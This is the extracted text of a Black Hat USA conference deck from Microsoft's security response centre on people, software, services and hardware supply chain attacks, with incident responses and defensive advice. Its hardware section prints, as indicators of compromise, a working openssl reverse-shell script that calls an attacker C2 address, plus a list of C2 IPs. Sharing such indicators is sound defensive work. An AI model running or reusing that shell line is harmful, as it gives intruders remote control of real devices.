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The Enemy Within Modern Supply Chain Attacks

Eric Doerr, GM Microsoft Security Response Center (MSRC) @edoerr

#BHUSA 🔰 @BLACK HAT EVENTS

We all know the world rests on a giant turtle...

1. Terry Pratchett, The Color of Magic, 1983

Turtles all the way down...

I'm in your supply chain,

and you're in mine.

We're in this together.

Am I in your supply chain?



GitHub

Linked in



Are you in mine? Linux is the most popular OS on Azure

>35k unique OSS projects

>10K 3rd party tools

Surface, Hololens, Xbox hardware suppliers

Server infrastructure in the Microsoft cloud

And more...

Media is overly focused on hardware

Q Search

Bloomberg

Cybersecurity

New Evidence of Hacked Supermicro Hardware Found in U.S. Telecom

WHAT HAPPENED WITH SUPERMICRO?

by: Bob Baddeley

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💬 41 Comments

May 14, 2019

Supply chain > hardware

Trump administration bans federal agencies from buying Huawei, ZTE tech

Zack Whittaker @zackwhittaker / 1 hour ago

I'm not talking about...





And definitely not



Evaluating supply chain risk

How we think about Supply Chain Risk



How do we defend Microsoft? Commonalities & differences

Microsoft environment today

135K Number of employees	120+ Number of countries with Microsoft offices	630B Authentication requests per month
420K Managed devices hitting the network	94% On-premises workload reduction	842K Microsoft Teams meetings/month
3M Transactions on the sales platform per day	200+ Cloud based services	100+ Data Centers worldwide

Microsoft Cloud

Data Centers

>100



Microsoft is a complex company to defend... how do we do it?

Cyber Defense Operations Center – Defending as One

- Centralized hubs for cybersecurity and defense; uniting personnel from each defender team
- Shared technology, analytics, playbooks
- Shared locations, and more importantly a commitment to "defend together"
- 24 x 7 x 365 protection of Microsoft platform and customers



Let's talk about people

People

There are people in your supply chain



J.

Oten

ADVERTISING/SP

15 Experts: Breach at IT Outsourcing Giant Wipro APR 19 Indian information technology (IT) outsourcing and consulting giant **Wipro Ltd INVSE:** WITI is investigating reports that its own IT systems have been backed and are

Posts Tagged: Wipro data breach

A Little Sunshine / Breadcrumbs - 47 Comments

18 Wipro Intruders Targeted Other Major IT Firms

WHAT ARE THEY AFTER?

It appears the attackers in this case are targeting companies that in one form or another have access to either a ton of third-party company resources, and/or companies that can be abused to conduct gift card fraud.

Wipro confirms attack on IT systems, hires forensic investigation firm

"We detected a potentially abnormal activity in a few employee accounts on our network due to an advanced phishing campaign" Wipro said in a statement.

Jochelle Mendonca | ETtech | Updated: April 17, 2019, 09:51 IST

Incident Of The Week: Inside The Phishy Wipro Breach

IT outsourcing giant was hit by a cyber security attack that has created a buzz around 'what not to do'

Tags:
Cyber Security
IT
Outsourcing
Incident Of The Week
Phishing
Phishing Scam
Breach
Wipro

Brian Krebs
KrebsOnSecurity
CISO
CI







Kate O'Flaherty Senior Contributor ()

Cybersecurity I'm a cybersecurity journalist

People Supply Chain Example



Response

- Risk assessment and vendor inventory audit performed
- Block newly identified malicious domains
- Precautionary reset of credentials for vendor accounts
- Additional monitoring of systems belonging vendor employees
- Windows Defender signature deployed to detect adversary's specific Mimikatz Binary

Practical Advice

Securing people in your supply chain

Always "assume breach" Strict inventory of vendor & partner access Automated policy governance where possible Follow principle of least privilege Provide devices and/or virtual monitoring Any privileged access needs tighter controls (MFA etc) and detection systems in place

Let's talk about software

Software

There is software in your supply chain



Software Supply Chain Example



Response

- Performed audit of software usage to assess risk if software was compromised
- Update policy to block remote access software
- Notifications sent to impacted employees
- AppLocker and firewall blocks put in place
- Updated contracts with suppliers

Practical Advice

Securing Software in your supply chain



Terminate



Termination Support

Implement necessary safeguards for solutions being decommissioned and provide termination support.

Perform periodic review of software solution usage and contract information to identify solutions which are inactive or expected to be decommissioned.

Let's talk about services

Services

Do you inventory every service you use?

Upstream vs. Downstream

Upstream

DNS PKI **Cloud service providers VPN** service providers **ISPs** Any business partner you rely on to provide you services

Downstream **Financial outsourcing Content delivery networks** Distribution services (e.g. Github, Dropbox, etc.) **Push networks** Any business partner that helps you provide services to your customers

Services supply chain example



Response

- Inspected exposed data to evaluate risk
- Expired all valid one-time tokens immediately to contain risk
- Work began to investigate the scope and impact of the potential disclosure
- Investigated potential attempted or successful logins
- No misuse of the two-factor codes was identified

Ok, let's talk about hardware Hardware

Hardware Supply Chain Example



Response

- Mobilized CDOC responders to investigate and partner with 3rd party customer security teams
- IOT devices were quarantined and sent for forensic analysis
- Impacted service account credentials were changed
- Malicious domains and IPs were blocked on affected networks
- Proactively shared adversary TTPs with IOT vendors

Indicators of Compromise (1/2)

#!/bin/sh

export [IOT Device] ="-qws -display :1 -nomouse"

echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s_client -quiet -host 167.114.153.55 -port 443 |while : ; do sh && break; done| openssl s_client -quiet -host 167.114.153.55 -port 443"); do (sleep 10 && cn=\$((`cat /tmp/.c`+1)) && echo \$cn|tee /tmp.c && if [\$cn -ge 30]; then (rm /tmp/.c;pkill -f 'openssl'); fi);done)&' &

--end contents of file--

Indicators of Compromise (2/2)

The following IP addresses are believed to have been used by the actor for command and control (C2):

167.114.153.55

94.237.37.28

82.118.242.171 31.220.61.251

128.199.199.187

More details on our blog <u>https://msrc-blog.microsoft.com/2019/08/05/corporate</u> -iot-a-path-to-intrusion/

4 Takeaways

Share More

Let's make the adversaries work harder

by working together.

How can we share more?

We need to change our cultural approach

Media: "name and shame" → "learn and defend together"

Customer: "why was there an issue" \rightarrow "how did they respond?"

Business: "containment & opacity" \rightarrow "partnership & transparency"

Disclosure: "code defects" \rightarrow "tactics that work"

Response matters

We should focus more on how companies respond to security events, not whether they happen.

Remember, we're all in this together

Best Practices:

Proactively inform customer of impact

Engage transparently and without defensiveness

Respond to reasonable requests for validation

Learn from mistakes

Sweat the small stuff

Adversaries will find the path of least resistance.

Embrace the whole

41

People + Software + Services + Hardware

= Supply Chain

